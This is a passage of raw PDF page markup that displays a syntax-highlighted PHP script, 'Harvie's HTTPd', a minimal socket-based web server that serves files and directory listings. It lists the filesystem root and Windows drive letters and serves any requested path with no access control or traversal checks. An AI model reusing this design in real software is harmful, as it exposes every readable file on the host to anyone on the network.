0 0 0 rg (#!usr/bin/php)Tj +0 -13.2 TD +/F2 11 Tf 0 0 1 rg ()Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($port)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (trim)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($argv)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\);)Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($argc)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (>)Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (2)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($interface)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (trim)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($argv)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (2)Tj +/F2 11 Tf 0 0 0 rg (]\);)Tj +T* +(})Tj +T* +ET +endstream +endobj +6 0 obj +<> +stream +BT 1 0 0 1 72 762 Tm +/F2 11 Tf 0 0 0 rg /F1 11 Tf 0 0.498 0 rg (///FUNCTIONS//////////////////////////////////////////////////////////////////////)Tj +0 -13.2 TD +/F2 11 Tf 0 0 0.498 rg (function)Tj +/F1 11 Tf 0 0 0.200 rg ( send_dir_listing)Tj +/F2 11 Tf 0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($directory)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($num)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("0")Tj +/F2 11 Tf 0 0 0 rg (;)Tj +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Header)Tj +T* +0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("\\nIndex of )Tj +0 0 0.498 rg ($directory)Tj +0 0 1 rg (\\n\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("Available volumes:
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Special folders)Tj +T* +0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("[/]\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Server root)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_dir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Unix root)Tj +T* +0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("[//]\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Available volumes)Tj +T* +( )Tj +0 0 0.498 rg ($dsks)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("cdefghijklmnopqrstuvwxyz")Tj +/F2 11 Tf 0 0 0 rg (;)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Show this volumes \(if available\))Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (for)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (=)Tj +/F1 11 Tf 0 0.498 0.498 rg (0)Tj +/F2 11 Tf 0 0 0 rg (;)Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (<)Tj +0 0 0.498 rg (strlen)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($dsks)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (++\))Tj +( )Tj +({)Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_dir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($dsks)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg (":")Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($vol)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($dsks)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0 0.498 rg ($i)Tj +/F2 11 Tf 0 0 0 rg (];)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("[)Tj +0 0 0.498 rg ($vol)Tj +0 0 1 rg (:]\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//echo\($dsks[$i].":"\);)Tj +T* +( )Tj +/F2 11 Tf 0 0 0 rg (})Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("
\\n\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Directory listing)Tj +T* +0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("Directory listing of )Tj +0 0 0.498 rg ($directory)Tj +0 0 1 rg ( :

\\n\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("[DIR] Parent Directory \(../\)
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($files)Tj +/F2 11 Tf 0 0 0 rg (=)Tj +0 0 0.498 rg (opendir)Tj +( )Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($directory)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +( )Tj +T* +( )Tj +0 0 0.498 rg (while)Tj +( )Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (false)Tj +0 0 0 rg (!==\()Tj +/F1 11 Tf 0 0 0.498 rg ($file)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (readdir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($files)Tj +/F2 11 Tf 0 0 0 rg (\)\)\))Tj +( )Tj +T* +( )Tj +({)Tj +( )Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +( )Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($file)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (!=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg (".")Tj +( )Tj +/F2 11 Tf 0 0 0 rg (&&)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($file)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (!=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("..")Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +T* +( )Tj +({)Tj +( )Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($num)Tj +/F2 11 Tf 0 0 0 rg (++;)Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_dir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg (")Tj +0 0 0.498 rg ($directory)Tj +0 0 1 rg (/)Tj +0 0 0.498 rg ($file)Tj +0 0 1 rg (")Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +({)Tj +T* +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg (")Tj +0 0 0.498 rg ($num)Tj +0 0 1 rg ( - [DIR] )Tj +0 0 0.498 rg ($file)Tj +0 0 1 rg (
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +( )Tj +0 0 0.498 rg (else)Tj +( )Tj +0 0 0 rg ({)Tj +T* +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg (")Tj +0 0 0.498 rg ($num)Tj +0 0 1 rg ( - )Tj +0 0 0.498 rg ($file)Tj +0 0 1 rg (
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +(})Tj +( )Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//Footer)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("
\\nTotal: )Tj +0 0 0.498 rg ($num)Tj +0 0 1 rg (\\n
\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +(})Tj +T* +T* +/F1 11 Tf 0 0.498 0 rg (///CODE///////////////////////////////////////////////////////////////////////////)Tj +T* +/F2 11 Tf 0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("\\n\\tStarting Harvie's HTTPd at:\\n\\ttcp://)Tj +0 0 0.498 rg ($interface)Tj +0 0 1 rg (:)Tj +0 0 0.498 rg ($port)Tj +0 0 1 rg (\\n\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0.498 0 rg (//system\("title Harvie's HTTPd at tcp://$interface:$port"\); //Microsoft Windows only)Tj +T* +/F2 11 Tf 0 0 0.498 rg (set_time_limit)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0.498 0.498 rg (0)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.498 rg ($sss)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (stream_socket_server)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("tcp://)Tj +0 0 0.498 rg ($interface)Tj +0 0 1 rg (:)Tj +0 0 0.498 rg ($port)Tj +0 0 1 rg (")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +T* +0 0 0.498 rg (while)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +0 0 0.498 rg ($sfp)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (stream_socket_accept)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sss)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +ET +endstream +endobj +7 0 obj +<> +stream +BT 1 0 0 1 72 762 Tm +/F2 11 Tf 0 0 0 rg ( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\(!)Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +0 0 0.498 rg (continue)Tj +0 0 0 rg (;)Tj +0 -13.2 TD +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($loop)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (;)Tj +T* +( )Tj +0 0 0.498 rg (while)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (&&)Tj +( )Tj +(!@)Tj +0 0 0.498 rg (feof)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +(&&)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($loop)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (fgets)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//echo\($line\);)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (eregi)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("\(GET|POST\)")Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (trim)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//echo\($line\);)Tj +T* +( )Tj +0 0 0.498 rg ($line)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (explode)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg (" ")Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (])Tj +( )Tj +(=)Tj +( )Tj +0 0 0.498 rg (trim)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (urldecode)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\)\);)Tj +T* +( )Tj +T* +( )Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (])Tj +( )Tj +(==)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (])Tj +( )Tj +(=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("./")Tj +/F2 11 Tf 0 0 0 rg (;)Tj +T* +( )Tj +(})Tj +( )Tj +0 0 0.498 rg (else)Tj +( )Tj +0 0 0 rg ({)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (])Tj +( )Tj +(=)Tj +( )Tj +0 0 0.498 rg (substr)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (],)Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +T* +( )Tj +0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_file)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\)\))Tj +( )Tj +({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//200 OK FILE)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($okheader)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("200 ")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\);)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (fopen)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (],)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("rb")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (while)Tj +0 0 0 rg (\()Tj +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +0 0 0.498 rg (fgets)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($fp)Tj +/F2 11 Tf 0 0 0 rg (\)\))Tj +( )Tj +(\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fclose)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg (" SENT!\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +0 0 0.498 rg (elseif)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (is_dir)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\)\))Tj +( )Tj +({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//200 OK DIR)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (if)Tj +0 0 0 rg (\()Tj +0 0 0.498 rg (substr)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (],)Tj +( )Tj +0 0 0.498 rg (strlen)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\)-)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +(!=)Tj +( )Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (\))Tj +( )Tj +({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//301 MOV DIR)Tj +T* +( )Tj +0 0 0.498 rg ($header)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +(\()Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg ("/")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("301 ")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg (" -> )Tj +0 0 0.498 rg ($header)Tj +0 0 1 rg (\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($header)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +0 0 0.498 rg (str_replace)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("%DIR%")Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($header)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($dirheader)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +/F1 11 Tf 0 0.498 0 rg (//$header = str_replace\("./", "./", $dirheader\);)Tj +T* +( )Tj +(//echo\($header\);)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($header)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fclose)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (break)Tj +0 0 0 rg (;)Tj +T* +( )Tj +(})Tj +T* +( )Tj +0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("200 [DIR] ")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg ("\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( send_dir_listing)Tj +/F2 11 Tf 0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (]\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +0 0 0.498 rg (else)Tj +( )Tj +0 0 0 rg ({)Tj +( )Tj +/F1 11 Tf 0 0.498 0 rg (//404 NOT FOUND)Tj +T* +( )Tj +/F2 11 Tf 0 0 0.498 rg (echo)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 1 rg ("404 ")Tj +/F2 11 Tf 0 0 0 rg (.)Tj +/F1 11 Tf 0 0 0.498 rg ($line)Tj +/F2 11 Tf 0 0 0 rg ([)Tj +/F1 11 Tf 0 0.498 0.498 rg (1)Tj +/F2 11 Tf 0 0 0 rg (].)Tj +/F1 11 Tf 0 0 1 rg ("\\n")Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($badheader)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +0 0 0.498 rg (fwrite)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (,)Tj +( )Tj +/F1 11 Tf 0 0 0.498 rg ($err404)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fclose)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +( )Tj +(})Tj +T* +( )Tj +T* +( )Tj +/F1 11 Tf 0 0 0.498 rg ($loop)Tj +( )Tj +/F2 11 Tf 0 0 0 rg (=)Tj +( )Tj +/F1 11 Tf 0 0.498 0.498 rg (0)Tj +/F2 11 Tf 0 0 0 rg (;)Tj +ET +endstream +endobj +8 0 obj +<> +stream +BT 1 0 0 1 72 762 Tm +/F2 11 Tf 0 0 0 rg ( )Tj +(})Tj +0 -13.2 TD +( )Tj +(})Tj +T* +/F1 11 Tf 0 0 0.200 rg ( @)Tj +/F2 11 Tf 0 0 0.498 rg (fclose)Tj +0 0 0 rg (\()Tj +/F1 11 Tf 0 0 0.498 rg ($sfp)Tj +/F2 11 Tf 0 0 0 rg (\);)Tj +T* +(})Tj +T* +T* +0 0 1 rg (?>)Tj +T* +ET +endstream +endobj +9 0 obj +<> >> +endobj +10 0 obj +<> +endobj +11 0 obj +<> +endobj +12 0 obj 